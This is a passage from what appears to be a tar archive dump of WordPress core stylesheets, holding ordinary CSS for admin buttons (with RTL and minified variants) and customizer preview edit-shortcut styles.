Responsive Button Styles ---------------------------------------------------------------------------- */ @media screen and (max-width: 782px) { .wp-core-ui .button, .wp-core-ui .button.button-large, .wp-core-ui .button.button-small, input#publish, input#save-post, a.preview { padding: 0 14px; line-height: 2.71428571; /* 38px */ font-size: 14px; vertical-align: middle; min-height: 40px; margin-bottom: 4px; } /* Copy attachment URL button in the legacy edit media page. */ .wp-core-ui .copy-to-clipboard-container .copy-attachment-url { margin-bottom: 0; } #media-upload.wp-core-ui .button { padding: 0 10px 1px; min-height: 24px; line-height: 22px; font-size: 13px; } .media-frame.mode-grid .bulk-select .button { margin-bottom: 0; } /* Publish Metabox Options */ .wp-core-ui .save-post-status.button { position: relative; margin: 0 10px 0 14px; /* 14px right margin to match all other buttons */ } /* Reset responsive styles in Press This, Customizer */ .wp-core-ui.wp-customizer .button { font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; vertical-align: inherit; } .media-modal-content .media-toolbar-primary .media-button { margin-top: 10px; margin-right: 5px; } /* Reset responsive styles on Log in button on iframed login form */ .interim-login .button.button-large { min-height: 30px; line-height: 2; padding: 0 12px 2px; } } css/buttons-rtl.min.css000064400000013340151202620300011115 0ustar00/*! This file is auto-generated */ .wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14285714;padding:0 36px}.wp-core-ui .button.hidden{display:none}.wp-core-ui input[type=reset],.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:focus,.wp-core-ui input[type=reset]:hover{background:0 0;border:none;box-shadow:none;padding:0 2px 1px;width:auto}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}.wp-core-ui p .button{vertical-align:baseline}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{background:#f6f7f7;border-color:#3582c4;color:#0a4b78;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent;outline-offset:0}.wp-core-ui .button-secondary:active,.wp-core-ui .button:active{background:#f6f7f7;border-color:#8c8f94;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:hover{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}.wp-core-ui .button-disabled,.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled,.wp-core-ui .button-secondary[disabled],.wp-core-ui .button.disabled,.wp-core-ui .button:disabled,.wp-core-ui .button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}.wp-core-ui .button-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:0 0;cursor:pointer;text-align:right;color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover{color:#135e96}.wp-core-ui .button-link:focus{color:#043959;box-shadow:0 0 0 1px #4f94d4,0 0 2px 1px rgba(79,148,212,.8);outline:1px solid transparent}.wp-core-ui .button-link-delete{color:#d63638}.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#d63638;background:0 0}.wp-core-ui .button-link-delete:disabled{background:0 0!important}.wp-core-ui .button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary.hover,.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#135e96;border-color:#135e96;color:#fff}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#135e96;border-color:#135e96;box-shadow:none;color:#fff}.wp-core-ui .button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#a7aaad!important;background:#f6f7f7!important;border-color:#dcdcde!important;box-shadow:none!important;text-shadow:none!important;cursor:default}.wp-core-ui .button-group{position:relative;display:inline-block;white-space:nowrap;font-size:0;vertical-align:middle}.wp-core-ui .button-group>.button{display:inline-block;border-radius:0;margin-left:-1px}.wp-core-ui .button-group>.button:first-child{border-radius:0 3px 3px 0}.wp-core-ui .button-group>.button:last-child{border-radius:3px 0 0 3px}.wp-core-ui .button-group>.button-primary+.button{border-right:0}.wp-core-ui .button-group>.button:focus{position:relative;z-index:1}.wp-core-ui .button-group>.button.active{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button-group>.button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}@media screen and (max-width:782px){.wp-core-ui .button,.wp-core-ui .button.button-large,.wp-core-ui .button.button-small,a.preview,input#publish,input#save-post{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}.wp-core-ui .copy-to-clipboard-container .copy-attachment-url{margin-bottom:0}#media-upload.wp-core-ui .button{padding:0 10px 1px;min-height:24px;line-height:22px;font-size:13px}.media-frame.mode-grid .bulk-select .button{margin-bottom:0}.wp-core-ui .save-post-status.button{position:relative;margin:0 10px 0 14px}.wp-core-ui.wp-customizer .button{font-size:13px;line-height:2.15384615;min-height:30px;margin:0;vertical-align:inherit}.media-modal-content .media-toolbar-primary .media-button{margin-top:10px;margin-right:5px}.interim-login .button.button-large{min-height:30px;line-height:2;padding:0 12px 2px}}css/buttons.css000064400000022576151202620300007547 0ustar00/* ---------------------------------------------------------------------------- NOTE: If you edit this file, you should make sure that the CSS rules for buttons in the following files are updated. * jquery-ui-dialog.css * editor.css WordPress-style Buttons ======================= Create a button by adding the `.button` class to an element. For backward compatibility, we support several other classes (such as `.button-secondary`), but these will *not* work with the stackable classes described below. Button Styles ------------- To display a primary button style, add the `.button-primary` class to a button. Button Sizes ------------ Adjust a button's size by adding the `.button-large` or `.button-small` class. Button States ------------- Lock the state of a button by adding the name of the pseudoclass as an actual class (e.g. `.hover` for `:hover`). TABLE OF CONTENTS: ------------------ 1.0 - Button Layouts 2.0 - Default Button Style 3.0 - Primary Button Style 4.0 - Button Groups 5.0 - Responsive Button Styles ---------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------------- 1.0 - Button Layouts ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-primary, .wp-core-ui .button-secondary { display: inline-block; text-decoration: none; font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; padding: 0 10px; cursor: pointer; border-width: 1px; border-style: solid; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; box-sizing: border-box; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .wp-core-ui button::-moz-focus-inner, .wp-core-ui input[type="reset"]::-moz-focus-inner, .wp-core-ui input[type="button"]::-moz-focus-inner, .wp-core-ui input[type="submit"]::-moz-focus-inner { border-width: 0; border-style: none; padding: 0; } .wp-core-ui .button.button-large, .wp-core-ui .button-group.button-large .button { min-height: 32px; line-height: 2.30769231; /* 30px */ padding: 0 12px; } .wp-core-ui .button.button-small, .wp-core-ui .button-group.button-small .button { min-height: 26px; line-height: 2.18181818; /* 24px */ padding: 0 8px; font-size: 11px; } .wp-core-ui .button.button-hero, .wp-core-ui .button-group.button-hero .button { font-size: 14px; min-height: 46px; line-height: 3.14285714; padding: 0 36px; } .wp-core-ui .button.hidden { display: none; } /* Style Reset buttons as simple text links */ .wp-core-ui input[type="reset"], .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active, .wp-core-ui input[type="reset"]:focus { background: none; border: none; box-shadow: none; padding: 0 2px 1px; width: auto; } /* ---------------------------------------------------------------------------- 2.0 - Default Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-secondary { color: #2271b1; border-color: #2271b1; background: #f6f7f7; vertical-align: top; } .wp-core-ui p .button { vertical-align: baseline; } .wp-core-ui .button.hover, .wp-core-ui .button:hover, .wp-core-ui .button-secondary:hover{ background: #f0f0f1; border-color: #0a4b78; color: #0a4b78; } .wp-core-ui .button.focus, .wp-core-ui .button:focus, .wp-core-ui .button-secondary:focus { background: #f6f7f7; border-color: #3582c4; color: #0a4b78; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /* :active state */ .wp-core-ui .button:active, .wp-core-ui .button-secondary:active { background: #f6f7f7; border-color: #8c8f94; box-shadow: none; } /* pressed state e.g. a selected setting */ .wp-core-ui .button.active, .wp-core-ui .button.active:hover { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } .wp-core-ui .button[disabled], .wp-core-ui .button:disabled, .wp-core-ui .button.disabled, .wp-core-ui .button-secondary[disabled], .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled, .wp-core-ui .button-disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; cursor: default; transform: none !important; } /* Buttons that look like links, for a cross of good semantics with the visual */ .wp-core-ui .button-link { margin: 0; padding: 0; box-shadow: none; border: 0; border-radius: 0; background: none; cursor: pointer; text-align: left; /* Mimics the default link style in common.css */ color: #2271b1; text-decoration: underline; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active { color: #135e96; } .wp-core-ui .button-link:focus { color: #043959; box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-link-delete { color: #d63638; } .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: #d63638; background: transparent; } .wp-core-ui .button-link-delete:disabled { /* overrides the default buttons disabled background */ background: transparent !important; } /* ---------------------------------------------------------------------------- 3.0 - Primary Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button-primary { background: #2271b1; border-color: #2271b1; color: #fff; text-decoration: none; text-shadow: none; } .wp-core-ui .button-primary.hover, .wp-core-ui .button-primary:hover, .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { background: #135e96; border-color: #135e96; color: #fff; } .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #2271b1; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:hover, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary:active { background: #135e96; border-color: #135e96; box-shadow: none; color: #fff; } .wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary-disabled, .wp-core-ui .button-primary.disabled { color: #a7aaad !important; background: #f6f7f7 !important; border-color: #dcdcde !important; box-shadow: none !important; text-shadow: none !important; cursor: default; } /* ---------------------------------------------------------------------------- 4.0 - Button Groups ---------------------------------------------------------------------------- */ .wp-core-ui .button-group { position: relative; display: inline-block; white-space: nowrap; font-size: 0; vertical-align: middle; } .wp-core-ui .button-group > .button { display: inline-block; border-radius: 0; margin-right: -1px; } .wp-core-ui .button-group > .button:first-child { border-radius: 3px 0 0 3px; } .wp-core-ui .button-group > .button:last-child { border-radius: 0 3px 3px 0; } .wp-core-ui .button-group > .button-primary + .button { border-left: 0; } .wp-core-ui .button-group > .button:focus { position: relative; z-index: 1; } /* pressed state e.g. a selected setting */ .wp-core-ui .button-group > .button.active { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button-group > .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } /* ---------------------------------------------------------------------------- 5.0 - Responsive Button Styles ---------------------------------------------------------------------------- */ @media screen and (max-width: 782px) { .wp-core-ui .button, .wp-core-ui .button.button-large, .wp-core-ui .button.button-small, input#publish, input#save-post, a.preview { padding: 0 14px; line-height: 2.71428571; /* 38px */ font-size: 14px; vertical-align: middle; min-height: 40px; margin-bottom: 4px; } /* Copy attachment URL button in the legacy edit media page. */ .wp-core-ui .copy-to-clipboard-container .copy-attachment-url { margin-bottom: 0; } #media-upload.wp-core-ui .button { padding: 0 10px 1px; min-height: 24px; line-height: 22px; font-size: 13px; } .media-frame.mode-grid .bulk-select .button { margin-bottom: 0; } /* Publish Metabox Options */ .wp-core-ui .save-post-status.button { position: relative; margin: 0 14px 0 10px; /* 14px right margin to match all other buttons */ } /* Reset responsive styles in Press This, Customizer */ .wp-core-ui.wp-customizer .button { font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; vertical-align: inherit; } .media-modal-content .media-toolbar-primary .media-button { margin-top: 10px; margin-left: 5px; } /* Reset responsive styles on Log in button on iframed login form */ .interim-login .button.button-large { min-height: 30px; line-height: 2; padding: 0 12px 2px; } } css/buttons.min.css000064400000013336151202620300010323 0ustar00/*! This file is auto-generated */ .wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14285714;padding:0 36px}.wp-core-ui .button.hidden{display:none}.wp-core-ui input[type=reset],.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:focus,.wp-core-ui input[type=reset]:hover{background:0 0;border:none;box-shadow:none;padding:0 2px 1px;width:auto}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}.wp-core-ui p .button{vertical-align:baseline}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{background:#f6f7f7;border-color:#3582c4;color:#0a4b78;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent;outline-offset:0}.wp-core-ui .button-secondary:active,.wp-core-ui .button:active{background:#f6f7f7;border-color:#8c8f94;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:hover{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}.wp-core-ui .button-disabled,.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled,.wp-core-ui .button-secondary[disabled],.wp-core-ui .button.disabled,.wp-core-ui .button:disabled,.wp-core-ui .button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}.wp-core-ui .button-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:0 0;cursor:pointer;text-align:left;color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover{color:#135e96}.wp-core-ui .button-link:focus{color:#043959;box-shadow:0 0 0 1px #4f94d4,0 0 2px 1px rgba(79,148,212,.8);outline:1px solid transparent}.wp-core-ui .button-link-delete{color:#d63638}.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#d63638;background:0 0}.wp-core-ui .button-link-delete:disabled{background:0 0!important}.wp-core-ui .button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary.hover,.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#135e96;border-color:#135e96;color:#fff}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#135e96;border-color:#135e96;box-shadow:none;color:#fff}.wp-core-ui .button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#a7aaad!important;background:#f6f7f7!important;border-color:#dcdcde!important;box-shadow:none!important;text-shadow:none!important;cursor:default}.wp-core-ui .button-group{position:relative;display:inline-block;white-space:nowrap;font-size:0;vertical-align:middle}.wp-core-ui .button-group>.button{display:inline-block;border-radius:0;margin-right:-1px}.wp-core-ui .button-group>.button:first-child{border-radius:3px 0 0 3px}.wp-core-ui .button-group>.button:last-child{border-radius:0 3px 3px 0}.wp-core-ui .button-group>.button-primary+.button{border-left:0}.wp-core-ui .button-group>.button:focus{position:relative;z-index:1}.wp-core-ui .button-group>.button.active{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button-group>.button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}@media screen and (max-width:782px){.wp-core-ui .button,.wp-core-ui .button.button-large,.wp-core-ui .button.button-small,a.preview,input#publish,input#save-post{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}.wp-core-ui .copy-to-clipboard-container .copy-attachment-url{margin-bottom:0}#media-upload.wp-core-ui .button{padding:0 10px 1px;min-height:24px;line-height:22px;font-size:13px}.media-frame.mode-grid .bulk-select .button{margin-bottom:0}.wp-core-ui .save-post-status.button{position:relative;margin:0 14px 0 10px}.wp-core-ui.wp-customizer .button{font-size:13px;line-height:2.15384615;min-height:30px;margin:0;vertical-align:inherit}.media-modal-content .media-toolbar-primary .media-button{margin-top:10px;margin-left:5px}.interim-login .button.button-large{min-height:30px;line-height:2;padding:0 12px 2px}}css/customize-preview-rtl.css000064400000007125151202620300012342 0ustar00/*! This file is auto-generated */ .customize-partial-refreshing { opacity: 0.25; transition: opacity 0.25s; cursor: progress; } /* Override highlight when refreshing */ .customize-partial-refreshing.widget-customizer-highlighted-widget { box-shadow: none; } /* Make shortcut buttons essentially invisible */ .widget .customize-partial-edit-shortcut, .customize-partial-edit-shortcut { position: absolute; float: right; width: 1px; /* required to have a size to be focusable in Safari */ height: 1px; padding: 0; margin: -1px -1px 0 0; border: 0; background: transparent; color: transparent; box-shadow: none; outline: none; z-index: 5; } /** * Styles for the actual shortcut * * Note that some properties are overly verbose to prevent theme interference. */ .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { position: absolute; right: -30px; top: 2px; color: #fff; width: 30px; height: 30px; min-width: 30px; min-height: 30px; line-height: 1 !important; font-size: 18px; z-index: 5; background: #3582c4 !important; border-radius: 50%; border: 2px solid #fff; box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15); text-align: center; cursor: pointer; box-sizing: border-box; padding: 3px; animation-fill-mode: both; animation-duration: .4s; opacity: 0; pointer-events: none; text-shadow: 0 -1px 1px #135e96, -1px 0 1px #135e96, 0 1px 1px #135e96, 1px 0 1px #135e96; } .wp-custom-header .customize-partial-edit-shortcut button { right: 2px } .customize-partial-edit-shortcut button svg { fill: #fff; min-width: 20px; min-height: 20px; width: 20px; height: 20px; margin: auto; } .customize-partial-edit-shortcut button:hover { background: #4f94d4 !important; /* matches primary buttons */ } .customize-partial-edit-shortcut button:focus { box-shadow: 0 0 0 2px #4f94d4; } body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-appear; pointer-events: auto; } body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-disappear; pointer-events: none; } .page-sidebar-collapsed .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button { visibility: hidden; } @keyframes customize-partial-edit-shortcut-bounce-appear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; transform: scale3d(.3, .3, .3); } 20% { transform: scale3d(1.1, 1.1, 1.1); } 40% { transform: scale3d(.9, .9, .9); } 60% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 80% { transform: scale3d(.97, .97, .97); } to { opacity: 1; transform: scale3d(1, 1, 1); } } @keyframes customize-partial-edit-shortcut-bounce-disappear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 1; transform: scale3d(1, 1, 1); } 20% { transform: scale3d(.97, .97, .97); } 40% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 60% { transform: scale3d(.9, .9, .9); } 80% { transform: scale3d(1.1, 1.1, 1.1); } to { opacity: 0; transform: scale3d(.3, .3, .3); } } @media screen and (max-width: 800px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { right: -32px; } } @media screen and (max-width: 320px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { right: -30px; } } css/customize-preview-rtl.min.css000064400000005473151202620300013130 0ustar00/*! This file is auto-generated */ .customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:right;width:1px;height:1px;padding:0;margin:-1px -1px 0 0;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{position:absolute;right:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,-1px 0 1px #135e96,0 1px 1px #135e96,1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{right:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-30px}}css/customize-preview.css000064400000007055151202620300011545 0ustar00.customize-partial-refreshing { opacity: 0.25; transition: opacity 0.25s; cursor: progress; } /* Override highlight when refreshing */ .customize-partial-refreshing.widget-customizer-highlighted-widget { box-shadow: none; } /* Make shortcut buttons essentially invisible */ .widget .customize-partial-edit-shortcut, .customize-partial-edit-shortcut { position: absolute; float: left; width: 1px; /* required to have a size to be focusable in Safari */ height: 1px; padding: 0; margin: -1px 0 0 -1px; border: 0; background: transparent; color: transparent; box-shadow: none; outline: none; z-index: 5; } /** * Styles for the actual shortcut * * Note that some properties are overly verbose to prevent theme interference. */ .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { position: absolute; left: -30px; top: 2px; color: #fff; width: 30px; height: 30px; min-width: 30px; min-height: 30px; line-height: 1 !important; font-size: 18px; z-index: 5; background: #3582c4 !important; border-radius: 50%; border: 2px solid #fff; box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15); text-align: center; cursor: pointer; box-sizing: border-box; padding: 3px; animation-fill-mode: both; animation-duration: .4s; opacity: 0; pointer-events: none; text-shadow: 0 -1px 1px #135e96, 1px 0 1px #135e96, 0 1px 1px #135e96, -1px 0 1px #135e96; } .wp-custom-header .customize-partial-edit-shortcut button { left: 2px } .customize-partial-edit-shortcut button svg { fill: #fff; min-width: 20px; min-height: 20px; width: 20px; height: 20px; margin: auto; } .customize-partial-edit-shortcut button:hover { background: #4f94d4 !important; /* matches primary buttons */ } .customize-partial-edit-shortcut button:focus { box-shadow: 0 0 0 2px #4f94d4; } body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-appear; pointer-events: auto; } body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-disappear; pointer-events: none; } .page-sidebar-collapsed .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button { visibility: hidden; } @keyframes customize-partial-edit-shortcut-bounce-appear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; transform: scale3d(.3, .3, .3); } 20% { transform: scale3d(1.1, 1.1, 1.1); } 40% { transform: scale3d(.9, .9, .9); } 60% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 80% { transform: scale3d(.97, .97, .97); } to { opacity: 1; transform: scale3d(1, 1, 1); } } @keyframes customize-partial-edit-shortcut-bounce-disappear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 1; transform: scale3d(1, 1, 1); } 20% { transform: scale3d(.97, .97, .97); } 40% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 60% { transform: scale3d(.9, .9, .9); } 80% { transform: scale3d(1.1, 1.1, 1.1); } to { opacity: 0; transform: scale3d(.3, .3, .3); } } @media screen and (max-width: 800px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { left: -32px; } } @media screen and (max-width: 320px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { left: -30px; } } css/customize-preview.min.css000064400000005466151202620300012333 0ustar00/*! This file is auto-generated */ .customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:left;width:1px;height:1px;padding:0;margin:-1px 0 0 -1px;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut 